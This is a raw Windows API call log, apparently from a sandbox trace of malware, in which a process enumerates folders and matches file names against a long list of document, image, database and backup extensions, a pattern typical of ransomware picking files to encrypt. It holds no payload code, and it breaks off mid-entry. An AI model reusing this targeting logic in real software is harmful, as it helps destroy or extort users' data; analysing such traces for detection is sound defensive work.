[0275.964] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.964] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.964] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.964] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.965] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.965] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.965] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.965] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.965] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.966] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.966] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.966] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0275.966] FindClose (in: hFindFile=0x380c220 | out: hFindFile=0x380c220) returned 1 [0275.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0275.966] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0275.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.966] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.966] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.967] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.967] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.967] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0275.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0275.967] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0275.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4610f18 | out: hHeap=0x640000) returned 1 [0275.967] FindNextFileW (in: hFindFile=0x380bce0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0275.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0275.968] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0275.968] FindClose (in: hFindFile=0x380c1a0 | out: hFindFile=0x380c1a0) returned 1 [0275.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0275.968] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0276.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45cb458 | out: hHeap=0x640000) returned 1 [0276.309] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0276.309] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0276.309] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0276.309] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0278.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4630f28 | out: hHeap=0x640000) returned 1 [0278.368] FindNextFileW (in: hFindFile=0x380c020, lpFindFileData=0x2e5e69c | out: lpFindFileData=0x2e5e69c) returned 1 [0278.368] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4620f20 | out: hHeap=0x640000) returned 1 [0278.368] FindNextFileW (in: hFindFile=0x380c0e0, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0 [0278.368] FindClose (in: hFindFile=0x380c0e0 | out: hFindFile=0x380c0e0) returned 1 [0278.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0278.369] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0278.369] FindClose (in: hFindFile=0x380bda0 | out: hFindFile=0x380bda0) returned 1 [0278.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.369] FindNextFileW (in: hFindFile=0x380be20, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0278.369] FindClose (in: hFindFile=0x380be20 | out: hFindFile=0x380be20) returned 1 [0278.369] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0278.373] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0278.376] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0278.376] FindNextFileW (in: hFindFile=0x380c020, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0278.377] FindClose (in: hFindFile=0x380c020 | out: hFindFile=0x380c020) returned 1 [0278.377] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0278.377] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 1 [0278.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.387] FindNextFileW (in: hFindFile=0x380c1a0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0278.387] FindClose (in: hFindFile=0x380c1a0 | out: hFindFile=0x380c1a0) returned 1 [0278.387] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0278.387] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0278.455] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0278.455] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 0 [0278.455] FindClose (in: hFindFile=0x380c320 | out: hFindFile=0x380c320) returned 1 [0278.455] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0278.455] FindNextFileW (in: hFindFile=0x380bc20, lpFindFileData=0x2e5f08c | out: lpFindFileData=0x2e5f08c) returned 0 [0278.455] FindClose (in: hFindFile=0x380bc20 | out: hFindFile=0x380bc20) returned 1 [0278.455] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45f5928 | out: hHeap=0x640000) returned 1 [0278.455] FindNextFileW (in: hFindFile=0x380cae0, lpFindFileData=0x2e5f308 | out: lpFindFileData=0x2e5f308) returned 1 [0278.506] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0278.506] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0278.523] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.523] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0278.525] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.525] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0278.525] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.525] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0278.526] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.526] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0278.527] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.527] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0278.527] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.528] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0278.534] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.534] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0278.536] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.536] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0278.538] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.538] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0278.538] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.538] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0278.538] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.539] FindNextFileW (in: hFindFile=0x380c320, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 0 [0278.539] FindClose (in: hFindFile=0x380c320 | out: hFindFile=0x380c320) returned 1 [0278.539] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0278.539] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0278.560] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.561] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0278.564] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.564] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0278.565] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x4500740 | out: hHeap=0x640000) returned 1 [0278.565] FindNextFileW (in: hFindFile=0x380bda0, lpFindFileData=0x2e5eb94 | out: lpFindFileData=0x2e5eb94) returned 1 [0278.566] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x44f0738 | out: hHeap=0x640000) returned 1 [0278.566] FindNextFileW (in: hFindFile=0x380bc60, lpFindFileData=0x2e5ee10 | out: lpFindFileData=0x2e5ee10) returned 1 [0278.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\1033") returned 93 [0278.895] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\1033") returned 1 [0278.895] lstrlenW (lpString="1033") returned 4 [0278.895] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1033") returned 1 [0278.895] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xfffe) returned 0x4500740 [0278.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\1033") returned 93 [0278.895] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\Portal\\1033\\*", lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 0x380c220 [0278.897] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0278.897] FindNextFileW (in: hFindFile=0x380c220, lpFindFileData=0x2e5e918 | out: lpFindFileData=0x2e5e918) returned 1 [0278.897] lstrlenW (lpString="PortalConnect.dll") returned 17 [0278.897] lstrlenW (lpString=".1cd") returned 4 [0278.897] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0278.897] lstrlenW (lpString=".3ds") returned 4 [0278.897] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0278.897] lstrlenW (lpString=".3fr") returned 4 [0278.897] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0278.897] lstrlenW (lpString=".3g2") returned 4 [0278.897] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0278.897] lstrlenW (lpString=".3gp") returned 4 [0278.897] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0278.897] lstrlenW (lpString=".7z") returned 3 [0278.897] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0278.897] lstrlenW (lpString=".accda") returned 6 [0278.897] lstrcmpiW (lpString1=".accda", lpString2="ct.dll") returned -1 [0278.897] lstrlenW (lpString=".accdb") returned 6 [0278.898] lstrcmpiW (lpString1=".accdb", lpString2="ct.dll") returned -1 [0278.898] lstrlenW (lpString=".accdc") returned 6 [0278.898] lstrcmpiW (lpString1=".accdc", lpString2="ct.dll") returned -1 [0278.898] lstrlenW (lpString=".accde") returned 6 [0278.898] lstrcmpiW (lpString1=".accde", lpString2="ct.dll") returned -1 [0278.898] lstrlenW (lpString=".accdt") returned 6 [0278.898] lstrcmpiW (lpString1=".accdt", lpString2="ct.dll") returned -1 [0278.898] lstrlenW (lpString=".accdw") returned 6 [0278.898] lstrcmpiW (lpString1=".accdw", lpString2="ct.dll") returned -1 [0278.898] lstrlenW (lpString=".adb") returned 4 [0278.898] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0278.898] lstrlenW (lpString=".adp") returned 4 [0278.898] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0278.898] lstrlenW (lpString=".ai") returned 3 [0278.898] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0278.898] lstrlenW (lpString=".ai3") returned 4 [0278.898] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0278.898] lstrlenW (lpString=".ai4") returned 4 [0278.898] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0278.898] lstrlenW (lpString=".ai5") returned 4 [0278.898] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0278.898] lstrlenW (lpString=".ai6") returned 4 [0278.899] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0278.899] lstrlenW (lpString=".ai7") returned 4 [0278.899] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0278.899] lstrlenW (lpString=".ai8") returned 4 [0278.899] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0278.899] lstrlenW (lpString=".anim") returned 5 [0278.899] lstrcmpiW (lpString1=".anim", lpString2="t.dll") returned -1 [0278.899] lstrlenW (lpString=".arw") returned 4 [0278.899] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0278.899] lstrlenW (lpString=".as") returned 3 [0278.899] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0278.899] lstrlenW (lpString=".asa") returned 4 [0278.899] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0278.899] lstrlenW (lpString=".asc") returned 4 [0278.899] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0278.899] lstrlenW (lpString=".ascx") returned 5 [0278.899] lstrcmpiW (lpString1=".ascx", lpString2="t.dll") returned -1 [0278.899] lstrlenW (lpString=".asm") returned 4 [0278.899] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0278.899] lstrlenW (lpString=".asmx") returned 5 [0278.899] lstrcmpiW (lpString1=".asmx", lpString2="t.dll") returned -1 [0278.899] lstrlenW (lpString=".asp") returned 4 [0278.899] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0278.900] lstrlenW (lpString=".aspx") returned 5 [0278.900] lstrcmpiW (lpString1=".aspx", lpString2="t.dll") returned -1 [0278.900] lstrlenW (lpString=".asr") returned 4 [0278.900] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0278.900] lstrlenW (lpString=".asx") returned 4 [0278.900] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0278.900] lstrlenW (lpString=".avi") returned 4 [0278.900] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0278.900] lstrlenW (lpString=".avs") returned 4 [0278.900] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0278.900] lstrlenW (lpString=".backup") returned 7 [0278.900] lstrcmpiW (lpString1=".backup", lpString2="ect.dll") returned -1 [0278.900] lstrlenW (lpString=".bak") returned 4 [0278.900] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0278.901] lstrlenW (lpString=".bay") returned 4 [0278.901] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0278.901] lstrlenW (lpString=".bd") returned 3 [0278.901] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0278.901] lstrlenW (lpString=".bin") returned 4 [0278.901] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0278.901] lstrlenW (lpString=".bmp") returned 4 [0278.901] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0278.901] lstrlenW (lpString=".bz2") returned 4 [0278.901] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0278.901] lstrlenW (lpString=".c") returned 2 [0278.901] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0278.901] lstrlenW (lpString=".cdr") returned 4 [0278.901] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0278.901] lstrlenW (lpString=".cer") returned 4 [0278.901] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0278.901] lstrlenW (lpString=".cf") returned 3 [0278.901] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0278.901] lstrlenW (lpString=".cfc") returned 4 [0278.901] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0278.902] lstrlenW (lpString=".cfm") returned 4 [0278.902] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0278.902] lstrlenW (lpString=".cfml") returned 5 [0278.902] lstrcmpiW (lpString1=".cfml", lpString2="t.dll") returned -1 [0278.902] lstrlenW (lpString=".cfu") returned 4 [0278.902] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0278.902] lstrlenW (lpString=".chm") returned 4 [0278.902] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0278.902] lstrlenW (lpString=".cin") returned 4 [0278.902] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0278.902] lstrlenW (lpString=".class") returned 6 [0278.902] lstrcmpiW (lpString1=".class", lpString2="ct.dll") returned -1 [0278.902] lstrlenW (lpString=".clx") returned 4 [0278.902] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0278.902] lstrlenW (lpString=".config") returned 7 [0278.902] lstrcmpiW (lpString1=".config", lpString2="ect.dll") returned -1 [0278.902] lstrlenW (lpString=".cpp") returned 4 [0278.902] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0278.902] lstrlenW (lpString=".cr2") returned 4 [0278.902] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0278.902] lstrlenW (lpString=".crt") returned 4 [0278.902] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0278.903] lstrlenW (lpString=".crw") returned 4 [0278.903] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0278.903] lstrlenW (lpString=".cs") returned 3 [0278.903] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0278.903] lstrlenW (lpString=".css") returned 4 [0278.903] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0278.903] lstrlenW (lpString=".csv") returned 4 [0278.903] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0278.903] lstrlenW (lpString=".cub") returned 4 [0278.903] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0278.903] lstrlenW (lpString=".dae") returned 4 [0278.903] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0278.903] lstrlenW (lpString=".dat") returned 4 [0278.903] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0278.903] lstrlenW (lpString=".db") returned 3 [0278.903] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0278.903] lstrlenW (lpString=".dbf") returned 4 [0278.903] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0278.903] lstrlenW (lpString=".dbx") returned 4 [0278.903] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0278.903] lstrlenW (lpString=".dc3") returned 4 [0278.903] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0278.904] lstrlenW (lpString=".dcm") returned 4 [0278.904] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0278.904] lstrlenW (lpString=".dcr") returned 4 [0278.904] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0278.904] lstrlenW (lpString=".der") returned 4 [0278.904] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0278.904] lstrlenW (lpString=".dib") returned 4 [0278.904] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0278.904] lstrlenW (lpString=".dic") returned 4 [0278.904] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0278.904] lstrlenW (lpString=".dif") returned 4 [0278.904] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0278.904] lstrlenW (lpString=".divx") returned 5 [0278.904] lstrcmpiW (lpString1=".divx", lpString2="t.dll") returned -1 [0278.905] lstrlenW (lpString=".djvu") returned 5 [0278.905] lstrcmpiW (lpString1=".djvu", lpString2="t.dll") returned -1 [0278.905] lstrlenW (lpString=".dng") returned 4 [0278.905] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0278.905] lstrlenW (lpString=".doc") returned 4 [0278.905] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0278.905] lstrlenW (lpString=".docm") returned 5 [0278.905] lstrcmpiW (lpString1=".docm", lpString2="t.dll") returned -1 [0278.905] lstrlenW (lpString=".docx") returned 5 [0278.905] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0278.905] lstrlenW (lpString=".dot") returned 4 [0278.905] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0278.905] lstrlenW (lpString=".dotm") returned 5 [0278.905] lstrcmpiW (lpString1=".dotm", lpString2="t.dll") returned -1 [0278.905] lstrlenW (lpString=".dotx") returned 5 [0278.906] lstrcmpiW (lpString1=".dotx", lpString2="t.dll") returned -1 [0278.906] lstrlenW (lpString=".dpx") returned 4 [0278.906] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0278.906] lstrlenW (lpString=".dqy") returned 4 [0278.906] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0278.906] lstrlenW (lpString=".dsn") returned 4 [0278.906] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0278.906] lstrlenW (lpString=".dt") returned 3 [0278.906] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0278.906] lstrlenW (lpString=".dtd") returned 4 [0278.906] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0278.906] lstrlenW (lpString=".dwg") returned 4 [0278.906] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0278.906] lstrlenW (lpString=".dwt") returned 4 [0278.907] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0278.907] lstrlenW (lpString=".dx") returned 3 [0278.907] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0278.907] lstrlenW (lpString=".dxf") returned 4 [0278.907] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0278.907] lstrlenW (lpString=".edml") returned 5 [0278.907] lstrcmpiW (lpString1=".edml", lpString2="t.dll") returned -1 [0278.907] lstrlenW (lpString=".efd") returned 4 [0278.907] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0278.907] lstrlenW (lpString=".elf") returned 4 [0278.907] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0278.907] lstrlenW (lpString=".emf") returned 4 [0278.907] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0278.907] lstrlenW (lpString=".emz") returned 4 [0278.908] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0278.908] lstrlenW (lpString=".epf") returned 4 [0278.908] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0278.908] lstrlenW (lpString=".eps") returned 4 [0278.908] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0278.908] lstrlenW (lpString=".epsf") returned 5 [0278.908] lstrcmpiW (lpString1=".epsf", lpString2="t.dll") returned -1 [0278.908] lstrlenW (lpString=".epsp") returned 5 [0278.908] lstrcmpiW (lpString1=".epsp", lpString2="t.dll") returned -1 [0278.908] lstrlenW (lpString=".erf") returned 4 [0278.908] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0278.908] lstrlenW (lpString=".exr") returned 4 [0278.908] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0278.908] lstrlenW (lpString=".f4v") returned 4 [0278.908] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0278.908] lstrlenW (lpString=".fido") returned 5 [0278.908] lstrcmpiW (lpString1=".fido", lpString2="t.dll") returned -1 [0278.908] lstrlenW (lpString=".flm") returned 4 [0278.908] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0278.908] lstrlenW (lpString=".flv") returned 4 [0278.908] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0278.909] lstrlenW (lpString=".frm") returned 4 [0278.909] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0278.909] lstrlenW (lpString=".fxg") returned 4 [0278.909] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0278.909] lstrlenW (lpString=".geo") returned 4 [0278.909] 